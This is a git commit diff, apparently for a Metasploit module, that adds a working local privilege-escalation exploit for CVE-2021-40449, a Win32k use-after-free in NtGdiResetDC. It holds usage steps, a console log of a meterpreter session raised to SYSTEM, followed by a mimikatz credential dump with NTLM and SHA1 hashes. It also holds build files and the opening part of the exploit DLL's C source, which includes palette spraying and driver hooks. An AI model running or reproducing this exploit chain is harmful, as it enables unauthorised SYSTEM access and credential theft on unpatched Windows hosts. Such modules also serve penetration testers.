First draft of code, documentation, and exploit DLL plus exploit code
This commit is contained in:
parent
1dd26bca03
commit
780a9370a2
Binary file not shown.
|
@ -0,0 +1,155 @@
|
|||
## Vulnerable Application
|
||||
|
||||
A use after free vulnerability exists in the `NtGdiResetDC()` function of Win32k which can be leveraged by
|
||||
an attacker to escalate privileges to those of `NT AUTHORITY\SYSTEM`. The flaw exists due to the fact
|
||||
that this function calls `hdcOpenDCW()`, which performs a user mode callback. During this callback, attackers
|
||||
can call the `NtGdiResetDC()` function again with the same handle as before, which will result in the PDC object
|
||||
that is referenced byt his handle being freed. The attacker can then replace the memory referenced by the handle
|
||||
with their own object, before passing execution back to the original `NtGdiResetDC()` call, which will now use the
|
||||
attacker's object without appropriate validation. This can then allow the attacker to manipulate the state of the
|
||||
kernel and, together with additional exploitation techniques, gain code execution as NT AUTHORITY\SYSTEM.
|
||||
|
||||
This module has been tested to work on Windows 10 x64 RS1 (build 14393) and RS5 (build 17763), however
|
||||
previous versions of Windows 10 will likely also work.
|
||||
|
||||
Note the exploit may occasionally not work the first time so you may have to run it again to get the results.
|
||||
|
||||
## Options
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Get a non-SYSTEM meterpreter session on Win10 RS5 x64
|
||||
2. `use exploit/windows/local/cve_2021_40449`
|
||||
3. `set session <session>`
|
||||
4. `exploit`
|
||||
5. Get a SYSTEM session
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 10 1809 Build 17763.2114 x64
|
||||
|
||||
```
|
||||
msf6 exploit(multi/handler) > exploit
|
||||
|
||||
[*] Started bind TCP handler against 172.28.156.210:4444
|
||||
[*] Sending stage (200262 bytes) to 172.28.156.210
|
||||
[*] Meterpreter session 1 opened (172.28.145.185:36167 -> 172.28.156.210:4444 ) at 2021-11-05 15:45:08 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: DESKTOP-3GHNQ93\normal
|
||||
meterpreter > getsystem
|
||||
[-] priv_elevate_getsystem: Operation failed: The system cannot find the file specified. The following was attempted:
|
||||
[-] Named Pipe Impersonation (In Memory/Admin)
|
||||
[-] Named Pipe Impersonation (Dropper/Admin)
|
||||
[-] Token Duplication (In Memory/Admin)
|
||||
[-] Named Pipe Impersonation (RPCSS variant)
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-3GHNQ93
|
||||
OS : Windows 10 (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf6 exploit(multi/handler) > use exploit/windows/local/cve_2021_40449
|
||||
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/local/cve_2021_40449) > show options
|
||||
|
||||
Module options (exploit/windows/local/cve_2021_40449):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION yes The session to run this module on
|
||||
|
||||
|
||||
Payload options (windows/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST 172.28.145.185 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows 10 x64 RS1 (build 14393) and RS5 (build 17763)
|
||||
|
||||
|
||||
msf6 exploit(windows/local/cve_2021_40449) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf6 exploit(windows/local/cve_2021_40449) > set LPORT 9988
|
||||
LPORT => 9988
|
||||
msf6 exploit(windows/local/cve_2021_40449) > exploit
|
||||
|
||||
[!] SESSION may not be compatible with this module:
|
||||
[!] * missing Meterpreter features: stdapi_sys_process_set_term_size
|
||||
[*] Started reverse TCP handler on 172.28.145.185:9988
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
^C[-] Exploit failed [user-interrupt]: Interrupt
|
||||
[-] exploit: Interrupted
|
||||
msf6 exploit(windows/local/cve_2021_40449) > exploit
|
||||
|
||||
[!] SESSION may not be compatible with this module:
|
||||
[!] * missing Meterpreter features: stdapi_sys_process_set_term_size
|
||||
[*] Started reverse TCP handler on 172.28.145.185:9988
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Target's build number: 10.0.17763.2114
|
||||
[+] The target appears to be vulnerable. Vulnerable Windows 10 v1809 build detected!
|
||||
[*] Launching msiexec to host the DLL...
|
||||
[+] Process 2520 launched.
|
||||
[*] Reflectively injecting the DLL into 2520...
|
||||
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
|
||||
[*] Sending stage (200262 bytes) to 172.28.156.210
|
||||
[*] Meterpreter session 2 opened (172.28.145.185:9988 -> 172.28.156.210:49900 ) at 2021-11-05 15:46:21 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > load kiwi
|
||||
Loading extension kiwi...c
|
||||
.#####. mimikatz 2.2.0 20191125 (x64/windows)
|
||||
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
|
||||
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
|
||||
## \ / ## > http://blog.gentilkiwi.com/mimikatz
|
||||
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
|
||||
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
|
||||
|
||||
Success.
|
||||
meterpreter > creds_all
|
||||
[+] Running as SYSTEM
|
||||
[*] Retrieving all credentials
|
||||
msv credentials
|
||||
===============
|
||||
|
||||
Username Domain NTLM SHA1
|
||||
-------- ------ ---- ----
|
||||
normal DESKTOP-3GHNQ93 a38673ad58b19421e952fc317b62c3c4 ccff8cc980f0024dc5b3f925194a35c0fa0231c3
|
||||
test DESKTOP-3GHNQ93 0cb6948805f797bf2a82807973b89537 87f8ed9157125ffc4da9e06a7b8011ad80a53fe1
|
||||
|
||||
wdigest credentials
|
||||
===================
|
||||
|
||||
Username Domain Password
|
||||
-------- ------ --------
|
||||
(null) (null) (null)
|
||||
DESKTOP-3GHNQ93$ WORKGROUP (null)
|
||||
normal DESKTOP-3GHNQ93 (null)
|
||||
test DESKTOP-3GHNQ93 (null)
|
||||
|
||||
kerberos credentials
|
||||
====================
|
||||
|
||||
Username Domain Password
|
||||
-------- ------ --------
|
||||
(null) (null) (null)
|
||||
desktop-3ghnq93$ WORKGROUP (null)
|
||||
normal DESKTOP-3GHNQ93 (null)
|
||||
test DESKTOP-3GHNQ93 (null)
|
||||
|
||||
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,31 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.31729.503
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2021-40449", "CVE-2021-40449\CVE-2021-40449.vcxproj", "{AF6CB19A-2068-4490-BE5A-710F0AD5C152}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{AF6CB19A-2068-4490-BE5A-710F0AD5C152}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{AF6CB19A-2068-4490-BE5A-710F0AD5C152}.Debug|x64.Build.0 = Debug|x64
|
||||
{AF6CB19A-2068-4490-BE5A-710F0AD5C152}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{AF6CB19A-2068-4490-BE5A-710F0AD5C152}.Debug|x86.Build.0 = Debug|Win32
|
||||
{AF6CB19A-2068-4490-BE5A-710F0AD5C152}.Release|x64.ActiveCfg = Release|x64
|
||||
{AF6CB19A-2068-4490-BE5A-710F0AD5C152}.Release|x64.Build.0 = Release|x64
|
||||
{AF6CB19A-2068-4490-BE5A-710F0AD5C152}.Release|x86.ActiveCfg = Release|Win32
|
||||
{AF6CB19A-2068-4490-BE5A-710F0AD5C152}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {AF181344-04CA-4E6A-A552-ABA13E6AC54A}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
229
external/source/exploits/CVE-2021-40449/CVE-2021-40449/CVE-2021-40449.vcxproj
vendored
Normal file
229
external/source/exploits/CVE-2021-40449/CVE-2021-40449/CVE-2021-40449.vcxproj
vendored
Normal file
|
@ -0,0 +1,229 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<ProjectGuid>{af6cb19a-2068-4490-be5a-710f0ad5c152}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>CVE_2021_40449</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
|
||||
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
|
||||
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
|
||||
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
|
||||
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
|
||||
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
|
||||
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
|
||||
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
|
||||
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
|
||||
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
|
||||
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
|
||||
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
|
||||
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
|
||||
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
|
||||
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<SDLCheck>
|
||||
</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
|
||||
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<GenerateMapFile>false</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
|
||||
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<SDLCheck>
|
||||
</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
|
||||
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<GenerateMapFile>false</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
|
||||
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.c" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
|
@ -0,0 +1,684 @@
|
|||
#pragma warning( disable : 4005 )
|
||||
|
||||
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
#include "ReflectiveLoader.c"
|
||||
#include <stdio.h>
|
||||
#include <winddi.h>
|
||||
#include <Windows.h>
|
||||
#include <psapi.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <winspool.h>
|
||||
#include "../../include/windows/common.h"
|
||||
|
||||
#define SystemHandleInformation 0x10
|
||||
#define SystemBigPoolInformation 0x42
|
||||
#define ThreadNameInformation 0x26
|
||||
|
||||
// Manually define a whole bunch of structures with definitions from winternl.h vs importing winternl.h cause our ReflectiveLoader.h
|
||||
// decided it would be a bright idea to define only some of these manually, thus causing any other program that wants to load anything
|
||||
// that this defines to cause compilation errors, even if its trying to override the definition with more correct info or more definitions.
|
||||
typedef enum _THREADINFOCLASS {
|
||||
ThreadIsIoPending = 16
|
||||
} THREADINFOCLASS;
|
||||
|
||||
typedef enum _SYSTEM_INFORMATION_CLASS {
|
||||
SystemBasicInformation = 0,
|
||||
SystemPerformanceInformation = 2,
|
||||
SystemTimeOfDayInformation = 3,
|
||||
SystemProcessInformation = 5,
|
||||
SystemProcessorPerformanceInformation = 8,
|
||||
SystemInterruptInformation = 23,
|
||||
SystemExceptionInformation = 33,
|
||||
SystemRegistryQuotaInformation = 37,
|
||||
SystemLookasideInformation = 45,
|
||||
SystemCodeIntegrityInformation = 103,
|
||||
SystemPolicyInformation = 134,
|
||||
} SYSTEM_INFORMATION_CLASS;
|
||||
|
||||
typedef struct _DriverHook
|
||||
{
|
||||
ULONG index;
|
||||
LPVOID func;
|
||||
} DriverHook;
|
||||
|
||||
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
|
||||
{
|
||||
USHORT UniqueProcessId;
|
||||
USHORT CreatorBackTraceIndex;
|
||||
UCHAR ObjectTypeIndex;
|
||||
UCHAR HandleAttributes;
|
||||
USHORT HandleValue;
|
||||
PVOID Object;
|
||||
ULONG GrantedAccess;
|
||||
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
|
||||
|
||||
typedef struct _UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING;
|
||||
typedef UNICODE_STRING* PUNICODE_STRING;
|
||||
typedef const UNICODE_STRING* PCUNICODE_STRING;
|
||||
|
||||
typedef struct _SYSTEM_HANDLE_INFORMATION
|
||||
{
|
||||
ULONG NumberOfHandles;
|
||||
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
|
||||
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
DWORD64 Address;
|
||||
DWORD64 PoolSize;
|
||||
CHAR PoolTag[4];
|
||||
CHAR Padding[4];
|
||||
} BIG_POOL_INFO, * PBIG_POOL_INFO;
|
||||
|
||||
typedef BOOL(*DrvEnableDriver_t)(ULONG iEngineVersion, ULONG cj, DRVENABLEDATA* pded);
|
||||
typedef DHPDEV(*DrvEnablePDEV_t)(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver);
|
||||
typedef VOID(*VoidFunc_t)();
|
||||
typedef NTSTATUS(*NtSetInformationThread_t)(HANDLE threadHandle, THREADINFOCLASS threadInformationClass, PVOID threadInformation, ULONG threadInformationLength);
|
||||
typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
|
||||
|
||||
DHPDEV hook_DrvEnablePDEV(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver);
|
||||
|
||||
DriverHook driverHooks[] = {
|
||||
{INDEX_DrvEnablePDEV, (LPVOID)hook_DrvEnablePDEV},
|
||||
};
|
||||
|
||||
NtSetInformationThread_t SetInformationThread;
|
||||
NtQuerySystemInformation_t QuerySystemInformation;
|
||||
|
||||
//Global Variables
|
||||
LPWSTR printerName;
|
||||
HDC hdc;
|
||||
DWORD counter;
|
||||
BOOL shouldTrigger;
|
||||
VoidFunc_t origDrvFuncs[INDEX_LAST];
|
||||
DWORD64 rtlSetAllBits;
|
||||
DWORD64 fakeRtlBitMapAddr;
|
||||
DWORD currentProcessId;
|
||||
|
||||
VOID SprayPalettes(DWORD size)
|
||||
{
|
||||
/* Spray palettes to reclaim freed memory */
|
||||
|
||||
DWORD palCount = (size - 0x90) / 4;
|
||||
DWORD palSize = sizeof(LOGPALETTE) + (palCount - 1) * sizeof(PALETTEENTRY);
|
||||
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palSize);
|
||||
|
||||
if (lPalette == NULL) {
|
||||
//puts("[-] Failed to create palette");
|
||||
return;
|
||||
}
|
||||
